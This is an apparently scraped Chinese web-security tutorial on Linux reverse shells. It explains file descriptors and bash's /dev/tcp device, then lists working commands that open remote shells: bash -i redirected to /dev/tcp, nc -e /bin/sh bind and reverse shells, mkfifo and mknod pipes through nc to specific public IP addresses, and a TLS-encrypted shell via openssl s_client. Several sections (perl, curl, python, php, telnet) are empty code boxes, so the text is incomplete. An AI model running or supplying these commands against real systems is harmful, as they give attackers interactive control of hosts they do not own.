linux反弹shell
web安全-linux反弹shell
linux文件描述符
文件描述符是一个非负整数,内核需要通过这个文件描述符才可以访问文件 文件描述符好比一本书的目录(索引),通过这个索引可以找到需要的内容 在Linux系统中内核默认为每个进程创建三个标准的文件描述符:0(标准输入)、1(标准输出)、2(标准错误)
通过查看 /proc/PID/fd
目录下的文件,就可以查看每个进程拥有的所有文件描述符
255是一个小技巧,bash用于在重定向时保留这些副本
当打开文件时,系统内核会为特定的进程自动创建对应的文件描述符,也就是说每一个进程的输入输出error不一样,不同的进程打开同一个文件时,它们的文件描述符可能不同,但同一个进程打开同一个文件时,它们的文件描述符是相同的。
linux文件描述符操作
以下操作只针对某一个进程
更改标准输出位置
1
exec 1> test
/dev/null
特殊文件,写入的任何东西都会被清空
bash反弹shell
bash反弹shell,只针对bash
由于外网机无法访问到内网机,但是内网机能ping外网机,于是使用反弹shell的方式,帮助外网机获得内网机的shell得到
反弹shell,就是可以理解为,外网可以执行内网机的shell,这里是bash
第一步首先让控制端监听端口
nc -lvvp 6666(端口)
第二步
bash -i >& /dev/tcp/被控端ip/与控制端相同的端口 0>&1
0>&1的意思是,本地的输出也输出给控制端,有点像发送信息
参数讲解
bash -i 打开一个交互式的bash shell。
/dev/tcp/IP/PORT
/dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。 打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket 连接中传输数据。
/dev/tcp/192.168.81.154/6666
和192.168.81.154的6666端口建立TCP连接
Linux反弹shell的其他方法
NC3
NC正向反弹
正向的意思,由控制端主动发出请求,用于控制端能连接上被控端就行
但是注意有可能nc不支持-e参数
被控端:
nc -lvvp 6666 -e /bin/sh
控制端:
nc 10.10.1.7 6666
原
理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell
NC反向shell
当被控端能够访问控制端的时候使用
控制端:
nc -lvvp 6666
被控端:
nc -e /bin/sh 10.10.1.11 6666
原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。
无e参数,反弹shell,有些情况下nc 指令没有-e的参数,就是用下面的命令
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 139.155.49.43 6666 >/tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的 命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路。
1
mknod backpipe p; nc 47.101.214.85 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
perl
控制端使用nc 监听即可
下面都是被控端的脚本
1 |
|
1 |
|
curl
主要是利用控制端,开一个server ,作为临时文件服务器
然后读取这个文件之后执行
文件服务器
1 |
|
被控端
1 |
|
python
控制端使用nc 监听即可
被控端
1 |
|
php
控制端使用nc 监听即可
被控端
1 |
|
telnet
1 |
|
1 |
|
openssl
反弹的是443 端口,并且传输的流量还是加密的
远程攻击主机生产密钥文件
1
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
远程攻击主机上启动监视器
1
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
在目标机上反弹shell
1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s